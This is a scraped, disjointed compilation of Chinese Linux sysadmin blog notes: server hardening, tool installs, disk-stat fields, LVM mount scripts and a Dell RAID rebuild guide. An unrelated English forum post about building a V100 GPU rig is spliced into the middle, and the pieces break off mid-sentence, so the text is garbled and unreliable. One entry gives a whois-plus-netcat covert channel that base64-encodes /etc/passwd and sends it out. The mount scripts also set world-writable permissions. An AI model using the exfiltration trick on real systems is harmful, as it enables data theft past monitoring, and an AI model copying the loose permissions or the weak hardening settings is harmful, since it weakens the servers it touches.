Linux服务器安全, auditd审计, 环境变量加固, JDK安装, iftop网络监控, Python安装 Linux 丛裸机进行安全加固 创建用户 useradd abs password abs 一、ssh加固 vi /etc/ssh/sshd_config #################### Port 35791 Protocol 2 MaxAuthTries 3 MaxSessions 3 RSAAuthentication yes PubkeyAuthentication yes UsePAM yes X11Forwarding yes Banner none UseDNS no PermitRootLogin no PasswordAuthentication yes ##################### service sshd reload 二、环境变量加固profile vi /etc/profile ####################################### ##记录历史命令时间 export HISTTIMEFORMAT=" whoami %F %T " ##修改帐户TMOUT值，600秒无操作自动退出 export PS1='$LOGNAME@' hostname :'$PWD''$ ' umask 022 TMOUT=600 ####################################### source /etc/profile 三、屏蔽banner信息 备份方法： cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak cp -p /etc/motd /etc/motd_bak 加固方法： vi /etc/ssh/sshd_config banner NONE vi /etc/motd 删除全部内容或更新成自己想要添加的内容 四、禁用x_windows服务 vi /etc/inittab —————————————————————————— id:5:initdefault: –5改成3 —————————————————————————— 五、打开审计 chkconfig auditd on service auditd restart 六、清理不必要的信任主机 删除其中不必要的主机 vi /etc/hosts.equiv vi /$HOME/.rhosts 七、安装基础包 1、安装rz sz和 screen 1).安装 yum install -y lrzsz yum install -y screen 2).查看 rz 会弹出一个框 2、安装iftop 1).安装 yum -y install flex byacc libpcap ncurses ncurses-devel libpcap-devel wget http://www.ex-parrot.com/pdw/iftop/download/iftop-1.0pre2.tar.gz tar zxvf iftop-1.0pre2.tar.gz cd iftop-1.0pre2 ./configure make && make install 2).查看带宽 iftop -B -n -N -p 3、安装jdk （1.6.0 1.7.0 1.8.0）这三个版本的jdk包 默认为1.8.0版本 1).下载安装包到某个路径 mkdir /opt/jdk/ jdk-8u65-linux-x64.gz jdk-7u80-linux-x64.gz 2).解压 tar xf jdk-7u80-linux-x64.gz tar xf jdk-8u65-linux-x64.gz 3).修改环境变量 vim /etc/profile export JAVA_HOME=/opt/jdk/jdk1.8.0_65 export JRE_HOME=/opt/jdk/jdk1.8.0_65/jre export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib:$CLASSPATH export PATH=$PATH:$JAVA_HOME/bin/ source /etc/profile 4).查看java版本 java -version java version “1.8.0_65” Java(TM) SE Runtime Environment (build 1.8.0_65-b17) Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode) 5).安装jdk1.6.0版本 cd /opt/jdk/ chmod 755 jdk-6u45-linux-x64.bin ./jdk-6u45-linux-x64.bin （注意，这个步骤一定要在jdk-6u45-linux-x64.bin所在目录下） 会生成一个jdk1.6.0_45目录 6).查看1.6.0或1.7.0的版本 ./jdk1.6.0_45/bin/java -version java version “1.6.0_45” Java(TM) SE Runtime Environment (build 1.6.0_45-b06) Java HotSpot(TM) 64-Bit Server VM (build 20.45-b01, mixed mode) 或 ./jdk1.7.0_80/bin/java -version java version “1.7.0_80” Java(TM) SE Runtime Environment (build 1.7.0_80-b15) Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode) 4、安装Python 1).安装 sqlite-devel(因为 Flask 应用程序可能使用能 Sqlite 数据库，所以这个得装上（之前因为没装这个，导致 Python 无法导入 sqlite3 库）) yum install sqlite-devel -y 2).安装Python2.7 wget https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz tar xf Python-2.7.8.tgz cd Python-2.7.8 ./configure –prefix=/usr/local make && make install 安装成功之后，你可以在 /usr/local/bin/python2.7 找到 Python 2.7。 5、安装aide 安装mhash yum -y install mhash-devel.x86_64 mhash.x86_64 2.安装aide yum -y install aide.x86_64 配置(默认即可) vim /etc/aide.conf –可以不改,按默认就可以了 4.生成初始化数据库 aide –init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 开始检测 aide –check 6、Lynis安全检查工具 1).介绍 https://cisofy.com/ Lynis是一个为系统管理员提供的 Linux和Unix的审计工具 。 Lynis扫描系统的配置，并创建概述系统信息与安全问题所使用的专业审计。 当用户启动该软件后，Lynis会会逐次扫描系统的内核、用户目录、软件信息等，并最后生成一个全面的报告。 需要说明的是，该工具只能生成一个扫描检测后的报告，对用户起到提醒作用，本身并不能提高系统的安全性。 但是该工具却可以成为其他安全软件、系统测评软件的模块。 2).安装 yum -y install lynis 或 wget https://cisofy.com/files/lynis-2.1.1.tar.gz 3).全面检查 lynis –check-all -Q 4).自动检查 lynis -c –auditor “automated” –cronjob > /var/log/lynis/report.txt 5).检查某项目 lynis –tests FILE-6354 –quick 6).查看警告 grep Warning /var/log/lynis.log 7).查看建议 grep Suggestion /var/log/lynis.log 八、建立主机间的信任 1、生成密钥(默认的是rsa) ssh-keygen -t rsa 2、将生成的密钥（公钥）拷贝给另一台主机 ssh-copy-id -i ~/.ssh/id_rsa.pub “-p 35791 root@192.168.1.4 ” 指定端口时记得使用双引号，以免报错 3、测试 ssh -p 35791 root@192.168.1.4 这样直接连接到192.168.1.4这一台主机上，不用输入密码就是添加信任成功 九、修改主机名 1.临时修改主机名 查看当前主机名： spark@localhost:~$ hostname localhost 修改主机名并查看当前主机名： spark@localhost: $ sudo hostname hadoop spark@localhost: $ hostname hadoop PS:以上的修改只是临时修改，重启后就恢复原样了。 2.永久修改主机名 步骤1： 修改/etc/sysconfig/network中的hostname vi /etc/sysconfig/network HOSTNAME=localhost.localdomain #修改localhost.localdomain为orcl1 修改network的HOSTNAME项。点前面是主机名，点后面是域名。没有点就是主机名。 这个是永久修改，重启后生效。目前不知道怎么立即生效。 想立即生效，可以同时采用第一种方法。 步骤2： 修改/etc/hosts文件 vi /etc/hosts 127.0.0.1 localhost.localdomain #修改localhost.localdomain为orcl1 shutdown -r now #最后，重启服务器即可。 十、配置防火墙 1、进入配置文件 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ vim

I’m posting more as an exhibition rather than a “It’s so easy, a caveman could do it” guide. Some of the parts are very hard to get, supply is the limiting factor in recreating this IMO. I just thought some folks might find it interesting/cool. So I saw this idea a couple years ago on STH. The idea was to use an SMX2 GPU daughter board from Supermicro, and plug into a normal computer. The part number is AOM-SXMV, which supports V100 SXM2 GPU modules, which are getting to be VERY cheap. (Note: there also exists a similar board “AOM-SXM2” which only supports P100s, not V100s, be careful about that). The problem with using many SXM2 daughter boards from pretty much every other vendor is that they are hardware locked to their respective platforms and cannot be used on something else. This makes the platforms both old/outdated and overpriced. But the AOM-SXMV is not locked in any way and communicates with its host over normal PCIe. The only “problem” is that the PCIe connector on the board is a proprietary connector. The missing link came when some Chinese vendors started making adapters and PCIe cables to convert this over to normal PCIe. (The board has some Oculink 8i connectors, but GPUs are not visible over those links, I think they’re only used for RDMA). The board takes 4x 8-pin EPS power inputs, NOT VGA/PCIe. I’ll admit that these boards are very hard to find in the western markets, and if you do, they are usually exorbitantly priced. I’m fortunate to have some experience buying and importing from the Chinese market and was able to buy some things from there (Taobao, Xianyu). You’ll need to be fluent in Chinese to negotiate with sellers, as well as having a reshipper agent in China and the ability to pay in RMB/CNY. So the parts list is basically: AOM-SXMV ~$200-$250 USD from Xianyu Custom adapter cables ~$70 USD from Xianyu (Or AOM-SXMV-PIO adapters ~$20, bring your own PCIe extensions) 4x V100 SXM2 16GB ~$175/ea from eBay 4x HP 3U SXM2 heatsinks ~$15/ea from Xianyu, or like 50-100/ea from western markets) 4x VGA to EPS power adapters if you don’t have enough EPS Some kind of fans strapped to the heatsinks So on the very low end of pricing you can get a 4x V100 setup for $1300ish, if you can get the board. But I’ll warn you that a lot of the Chinese vendors are hoarding these boards for selling complete setups at considerable markup. I was able to get my hands on two boards, and bought everything needed to build out and connected them both to the same system (H11DSi-NT, 2x EPYC 7742) for 8x V100. I also bought a custom case ( $190/ea shipped w/ 1400w PSU) from Xianyu. Yes, two cables are connected via x8 links on the H11DSi, but PCIe is not a limit for my use case. The cases are perfect width for server rack, but no rails available, have to sit them on a shelf.

This is the total number of reads completed successfully.） 第2个域：合并读完成次数， 第6个域：合并写完成次数。为了效率可能会合并相邻的读和写。从而两次4K的读在它最终被处理到磁盘上之前可能会变成一次8K的读，才被计数（和排队），因此只有一次I/O操作。这个域使你知道这样的操作有多频繁。 （number of reads merged） 第3个域：读扇区的次数，成功读过的扇区总次数。 （number of sectors read. This is the total number of sectors read successfully.） 第4个域：读花费的毫秒数，这是所有读操作所花费的毫秒数（用__make_request()到end_that_request_last()测量）。 （number of milliseconds spent reading. This is the total number of milliseconds spent by all reads (as measured from __make_request() to end_that_request_last()).） 第5个域：写完成次数 —-写完成的次数，成功写完成的总次数。 （number of writes completed. This is the total number of writes completed successfully.） 第6个域：合并写完成次数 —–合并写次数。 （number of writes merged Reads and writes which are adjacent to each other may be merged for efficiency. Thus two 4K reads may become one 8K read before it is ultimately handed to the disk, and so it will be counted (and queued) as only one I/O. This field lets you know how often this was done.） 第7个域：写扇区次数 —- 写扇区的次数，成功写扇区总次数。 （number of sectors written. This is the total number of sectors written successfully.） 第8个域：写操作花费的毫秒数 — 写花费的毫秒数，这是所有写操作所花费的毫秒数（用__make_request()到end_that_request_last()测量）。 （number of milliseconds spent writing This is the total number of milliseconds spent by all writes (as measured from __make_request() to end_that_request_last()).） 第9个域：正在处理的输入/输出请求数 – -I/O的当前进度，只有这个域应该是0。当请求被交给适当的request_queue_t时增加和请求完成时减小。 （number of I/Os currently in progress. The only field that should go to zero. Incremented as requests are given to appropriate request_queue_t and decremented as they finish.） 第10个域：输入/输出操作花费的毫秒数 —-花在I/O操作上的毫秒数，这个域会增长只要field 9不为0。 （number of milliseconds spent doing I/Os. This field is increased so long as field 9 is nonzero.） 第11个域：输入/输出操作花费的加权毫秒数 —– 加权， 花在I/O操作上的毫秒数，在每次I/O开始，I/O结束，I/O合并时这个域都会增加。这可以给I/O完成时间和存储那些可以累积的提供一个便利的测量标准。 （number of milliseconds spent doing I/Os. This field is incremented at each I/O start, I/O completion, I/O merge, or read of these stats by the number of I/Os in progress (field 9) times the number of milliseconds spent doing I/O since the last update of this field. This can provide an easy measure of both I/O completion time and the backlog that may be accumulating.） --- ## 利用Whois传输小文件 - URL: https://firsh.me/blog/0119.html - Date: 2026-07-02 - Keywords: Whois, 文件传输, Whois协议, 数据隐蔽传输, 端口43, covert channel, 小文件传输, 网络协议, DNS替代传输, 信息安全 利用Whois传输小文件 1 2 3 4 传输机： root@john:~# whois -h 127.0.0.1 -p 4444 ` cat /etc/passwd | base64 ` 接受机： root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d --- ## 一次磁盘挂载 - URL: https://firsh.me/blog/0120.html - Date: 2026-07-02 - Keywords: 磁盘挂载, LVM, Linux磁盘管理, CentOS 7, 数据盘, parted分区, 逻辑卷管理, 扩容, 服务器运维, Shell脚本 一次磁盘挂载 服务器10台每台16块盘 其中两块系统盘,剩下的皆为数据盘，因为涉及到扩容，所以有一个大目录采用lvm挂载。 一次磁盘挂载（Centos7） 1 2 3 4 5 6 7 8 9 #!/usr/bin/env bash ################## base ############### bashPath = $( cd ` dirname $0 ` ; pwd ) ${ bashPath } /lvms.sh sleep 2 ${ bashPath } /parted.sh lvms.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/bin/bash yum install -y lvm2 ## disk--->pv--->vg--->lv disk_index = 14 # 第14块盘 partition = /data # 定义最终挂载的名称 j = ` echo $disk_index | awk '{printf "%c",97+$disk_index}' ` ## 直接disk fdisk /dev/sd $j << FORMAT d w FORMAT parted /dev/sd $j <>/etc/fstab #写入分区表 sleep 1s mount -a parted.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/bin/bash PATH = /bin:/sbin:/usr/bin:/usr/sbin export PATH i = 1 while [ $i -lt 14 ] #硬盘数量,除系统盘之外是13块 do j = ` echo $i | awk '{printf "%c",97+$i}' ` #系统盘是sda1,如果是其它的需要修改脚本97=a unmount -v /dev/sd $j parted /dev/sd $j <>/etc/fstab #写入分区表 i = $(( $i + 1 )) done echo -e "\033[32m *****Formating and Mounting have finished wait 5s **** \033[0m" chmod -R 777 /data/* sleep 5 mount -a --- ## python 监控binlog实现hue一个小插件 - URL: https://firsh.me/blog/0121.html - Date: 2026-07-02 - Keywords: Python, binlog, MySQL binlog, Hue插件, 数据库监控, binlog监控, pymysqlreplication, 实时数据同步, MySQL, 插件开发 python 监控binlog实现hue一个小插件 代码Python可以使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 from pymysqlreplication import BinLogStreamReader from pymysqlreplication.row_event import ( DeleteRowsEvent , UpdateRowsEvent , WriteRowsEvent , ) import threading import paramiko import logging.handlers LOG_FILE = r 'hue_auto_create_user.log' handler = logging . handlers .

Foreign Config 处理策略 场景 盘状态 建议操作 新出厂空盘 UGood 直接自动重建 拔旧盘立刻插回同槽 Foreign Import（保留原元数据） 来自其他服务器旧盘 Foreign 通常 Clear，避免污染现有阵列 误操作清空或控制器更换 Foreign 按序 Import（需核对正确性） 命令： 1 2 3 4 5 6 7 8 # 查看 Foreign perccli /c0 /fall show # 导入 perccli /c0 /fall import # 清除 perccli /c0 /fall delete 8. 重建时间评估 影响因素： 磁盘容量（越大时间越长） 后台 I/O 负载（业务写入拖慢重建） 磁盘类型：SAS 10K、SATA 7.2K、SSD 控制器缓存 & 电池（BBU / CVM）状态 Stripe Size 与并行度 是否启用 Patrol Read/Consistency Check（同时间会竞争 I/O） 粗略估算公式（经验值）： 重建时长(小时) ≈ 磁盘容量(GB) / (有效重建速率(MB/s) / 3600) 例如：4TB (≈4000GB) SATA 7.2K，重建速率 ~80 MB/s 4000 *1024 / 80 / 3600 ≈ 14 小时 实际可能 10–24 小时（视负载波动）。 建议：重建期间尽量降低大量随机写。 9. 性能与风险控制 阶段 风险 缓解措施 预测性故障阶段 第二块潜在介质错误导致不可恢复 监控 SMART & Media Error，提前更换 重建中 URE（不可恢复读错误）触发阵列失效 使用企业级盘 + 启用 Patrol Read 重建拖慢业务 I/O 饱和 低峰执行，或临时调整 QoS / 限流 长时间不做 Consistency Check 隐性奇偶不一致积累 定期（月度/季度）执行 CC 固件 Bug 重建异常终止 保持 PERC & iDRAC 固件更新 Patrol Read： 1 2 3 4 5 6 # 查看 perccli /c0 show | grep -i "Patrol" # 启动（手动） perccli /c0 start patrolread # 暂停 perccli /c0 stop patrolread 10. 监控与告警 iDRAC Web & Email/SNMP 告警（Storage Events） RACADM： 1 2 3 racadm storage get vdisks racadm storage get pdisks controller = RAID.Integrated.1-1 racadm getsel # 查看系统事件日志 OMSA： 1 2 omreport storage vdisk omreport storage pdisk controller = 0 日志自动采集：将 perccli 输出整合进 Prometheus Exporter（自写脚本定期解析），对关键状态（Degraded/Rebuild/Failed）发出告警。 关键字段关注： Media Error Count Predictive Failure Count Rebuild Progress (%) PD State：Online / Rebuild / Failed / Foreign / Hotspare 11. 预防性策略 & 最佳实践 项目 建议 热备策略 至少 1 块 Global Hot Spare，容量足以替代最大单盘 盘模型统一 固件/转速/容量尽量一致，避免性能抖动 固件升级 控制器 & 硬盘固件（Dell 支持站点） 监控阈值 Media Error > 0 且持续增长 → 申请更换 备份 RAID ≠ 备份，重建前确保最近一次数据可恢复 更换操作 先 Offline 再拔盘（除非盘已 Failed） 重建窗口 低峰操作，并预估时长 巡检 月度：omreport / perccli 汇总；季度：Consistency Check 文档化 记录阵列拓扑（槽位 ↔ 逻辑成员映射） 12. 常见问题 FAQ Q: 新盘插入为什么不自动重建？ A: 可能是新盘带 Foreign Config 未处理 / 盘容量小于成员 / 状态非 UGood / 控制器自动重建被禁用。 Q: 重建进度长时间不增长？ A: 检查 I/O 负载、后台 Patrol Read 是否同时运行、是否存在介质错误重试；必要时暂停大批量写。 Q: 如何判断盘需预换？ A: Media Error 或 Predictive Failure Count 增长；iDRAC 变黄告警； omreport storage pdisk 显示 SMART 异常。 Q: RAID5 是否依旧推荐？ A: 对于大容量 SATA（>8TB）和高恢复时间场景不再推荐，RAID6 / RAID10 或对象存储冗余更稳。R730xd 使用 2~4TB SAS 时尚可。 Q: Rebuild 时能否重启服务器？ A: 不建议（除非紧急），重启会中断并在恢复后续建（状态保存），但增加风险window。 13. 故障排查矩阵（摘选） 现象 排查顺序 处理 VD 一直 Degraded 确认缺失槽位 → 新盘是否识别 → Foreign 状态？ Import / Clear 后重新加入 Rebuild 卡住 查看 show prog → 查 PD 错误计数 → 控制器日志 备份 → 更换存在读错误的盘 新盘被标记 Failed 兼容性 / 固件 / 伪劣盘 换同型号认证盘 Import 后阵列丢失 可能顺序错/不匹配 立即停止写入，联系高级数据恢复 热备未介入 热备未匹配类型/容量 / 指定为专用但不属该 VD 调整为 Global 或更换更大盘 14. 演练建议（非生产） 选一测试阵列（有备份/无生产数据）。 标记其中一块为 Offline： set offline 。 拔盘 → 插入另一空盘。观察自动重建。 记录：启动时间、完成时间、平均速率。 验证：完成后读写一致性（md5sum 样本文件比对）。 15. 安全与合规提示 在生产环境操作前务必：备份校验 → 变更审批 → 维护窗口。 不要在重建期间同时扩容、迁移或执行高负载写入测试。 保留关键操作命令与输出日志用于审计。 16. 参考（可搜索关键字） Dell PERC H730/H730P User Guide Dell PowerEdge RAID Controller (PERC) CLI Guide (perccli / storcli) Dell iDRAC8 RACADM Command Line Reference Storage Advisory: Patrol Read / Consistency Check Best Practices 17. 总结 在 Dell R730xd 上，RAID5 自动重建机制依赖于： 健壮的热备规划 严格的预测性故障监控 及时与正确的 Foreign Config 处理 重建期的性能与风险控制 通过标准化命令流程 + 监控告警 + 定期演练，可以显著降低单盘故障演化为数据灾难的概率。若未来容量持续增大或重建窗口难以接受，应评估迁移到 RAID6 / RAID10 或对象/分布式存储冗余方案。 --- ## [收藏]诺音曼 U87 麦克风 - URL: https://firsh.me/blog/0134.html - Date: 2026-07-02 - Keywords: 诺音曼, U87, 麦克风, Neumann U87, 录音设备, 电容麦克风, 专业麦克风, 收藏, 音频设备, 诺依曼 [收藏]诺音曼 U87 麦克风 多年之前自己买来唱歌的，现在看到还是思绪万千。 Loading image...
